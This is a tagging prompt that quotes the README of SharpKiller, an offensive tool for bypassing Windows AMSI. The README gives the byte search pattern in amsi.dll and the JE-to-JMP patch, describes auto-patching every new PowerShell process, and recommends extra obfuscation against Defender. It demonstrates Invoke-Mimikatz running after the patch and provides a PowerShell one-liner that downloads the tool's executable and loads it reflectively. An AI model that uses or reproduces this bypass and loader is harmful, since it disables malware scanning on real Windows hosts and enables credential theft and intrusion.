AI prompts
base on Lifetime AMSI bypass by @ZeroMemoryEx ported to .NET Framework 4.8 # SharpKiller
Lifetime AMSI bypass AMSI-Killer by @ZeroMemoryEx ported to .NET Framework 4.8.
### Additional Obfuscation required
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/SharpKiller.A&ThreatID=2147895059
### Newly integrated features:
[ x ] - Live scan for new powershell processes every 0.5 seconds -> Automatically patches new powershell instances
#### Building the solution
* Set your platform explicitly to x64 in Build > configuration manager
## How does it work?
### Opcode Scan
* we get the exact address of the jump instruction by searching for the first byte of each instruction this technique is effective even in the face of updates or modifications to the target data set.
* for example :
` | 48:85D2 | test rdx, rdx |`
` | 74 3F | je amsi.7FFAE957C694 |`
` | 48 : 85C9 | test rcx, rcx |`
` | 74 3A | je amsi.7FFAE957C694 |`
` | 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |`
` | 74 33 | je amsi.7FFAE957C694 |`
* the search pattern will be like this :
`{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}`
![image](https://user-images.githubusercontent.com/60795188/221431685-60fb2012-db0f-41aa-bd7b-3a19f07c91c4.png)
## Patch
### Before Patch
* The program tests the value of RDX against itself. If the comparison evaluates to 0, the program executes a jump to return. Otherwise, the program proceeds to evaluate the next instruction
![image](https://user-images.githubusercontent.com/60795188/221431975-73c78c9c-5358-44c2-b0de-41d68024e2bb.png)
<img src="https://github.com/S1lkys/SharpKiller/assets/40408435/59f4ef29-9ed1-4d14-9ea8-f29bf299534d" height="500">
* we cant execute "Invoke-Mimikatz"
![image](https://user-images.githubusercontent.com/60795188/221432132-20993ccf-c53e-493d-8b22-feaea86fb6bf.png)
### After Patch
* we patch the first byte and change it from JE to JMP so it return directly
![Screenshot 2023-02-26 195848](https://user-images.githubusercontent.com/60795188/221444031-5b8c365f-cb38-4ce4-89b5-153ecc12208d.png)
![image](https://user-images.githubusercontent.com/60795188/221432418-841db688-879c-4915-8d6e-926236a3732c.png)
* now we can execute "Invoke-Mimikatz"
<img src="https://raw.githubusercontent.com/S1lkys/SharpKiller/main/media/demo_.jpg" height="450">
### Newly created processes
* Sharp-Killer will patch any newly created Powershell processes in near real time.
<img src="https://raw.githubusercontent.com/S1lkys/SharpKiller/main/media/demo.jpg" height="450">
## Video demo
![video](https://raw.githubusercontent.com/S1lkys/SharpKiller/main/media/demo.gif)
## OneLiner to run with reflection
```
$url = "https://github.com/S1lkys/SharpKiller/releases/download/1.1/Sharp-Killer.exe"; $cli = New-Object System.Net.WebClient; $sk=[System.Reflection.Assembly]::Load([byte[]]( $cli.DownloadData($url)));$vars = New-Object System.Collections.Generic.List[System.Object];$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static";$sk.EntryPoint.Invoke($null,@(,$passed));
```
### This error occurs while using mentioned OnLiner?
If you ever saw this message and wondered about it - welcome to the .NET AMSI Interface! :-)
```
Exception calling "Load" with "1" argument(s): "Could not load file or assembly '288768 bytes loaded from Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format."
```
* https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/
## References:
* https://github.com/ZeroMemoryEx/Amsi-Killer
", Assign "at most 3 tags" to the expected json: {"id":"4094","tags":[]} "only from the tags list I provide: [{"id":77,"name":"3d"},{"id":89,"name":"agent"},{"id":17,"name":"ai"},{"id":54,"name":"algorithm"},{"id":24,"name":"api"},{"id":44,"name":"authentication"},{"id":3,"name":"aws"},{"id":27,"name":"backend"},{"id":60,"name":"benchmark"},{"id":72,"name":"best-practices"},{"id":39,"name":"bitcoin"},{"id":37,"name":"blockchain"},{"id":1,"name":"blog"},{"id":45,"name":"bundler"},{"id":58,"name":"cache"},{"id":21,"name":"chat"},{"id":49,"name":"cicd"},{"id":4,"name":"cli"},{"id":64,"name":"cloud-native"},{"id":48,"name":"cms"},{"id":61,"name":"compiler"},{"id":68,"name":"containerization"},{"id":92,"name":"crm"},{"id":34,"name":"data"},{"id":47,"name":"database"},{"id":8,"name":"declarative-gui "},{"id":9,"name":"deploy-tool"},{"id":53,"name":"desktop-app"},{"id":6,"name":"dev-exp-lib"},{"id":59,"name":"dev-tool"},{"id":13,"name":"ecommerce"},{"id":26,"name":"editor"},{"id":66,"name":"emulator"},{"id":62,"name":"filesystem"},{"id":80,"name":"finance"},{"id":15,"name":"firmware"},{"id":73,"name":"for-fun"},{"id":2,"name":"framework"},{"id":11,"name":"frontend"},{"id":22,"name":"game"},{"id":81,"name":"game-engine "},{"id":23,"name":"graphql"},{"id":84,"name":"gui"},{"id":91,"name":"http"},{"id":5,"name":"http-client"},{"id":51,"name":"iac"},{"id":30,"name":"ide"},{"id":78,"name":"iot"},{"id":40,"name":"json"},{"id":83,"name":"julian"},{"id":38,"name":"k8s"},{"id":31,"name":"language"},{"id":10,"name":"learning-resource"},{"id":33,"name":"lib"},{"id":41,"name":"linter"},{"id":28,"name":"lms"},{"id":16,"name":"logging"},{"id":76,"name":"low-code"},{"id":90,"name":"message-queue"},{"id":42,"name":"mobile-app"},{"id":18,"name":"monitoring"},{"id":36,"name":"networking"},{"id":7,"name":"node-version"},{"id":55,"name":"nosql"},{"id":57,"name":"observability"},{"id":46,"name":"orm"},{"id":52,"name":"os"},{"id":14,"name":"parser"},{"id":74,"name":"react"},{"id":82,"name":"real-time"},{"id":56,"name":"robot"},{"id":65,"name":"runtime"},{"id":32,"name":"sdk"},{"id":71,"name":"search"},{"id":63,"name":"secrets"},{"id":25,"name":"security"},{"id":85,"name":"server"},{"id":86,"name":"serverless"},{"id":70,"name":"storage"},{"id":75,"name":"system-design"},{"id":79,"name":"terminal"},{"id":29,"name":"testing"},{"id":12,"name":"ui"},{"id":50,"name":"ux"},{"id":88,"name":"video"},{"id":20,"name":"web-app"},{"id":35,"name":"web-server"},{"id":43,"name":"webassembly"},{"id":69,"name":"workflow"},{"id":87,"name":"yaml"}]" returns me the "expected json"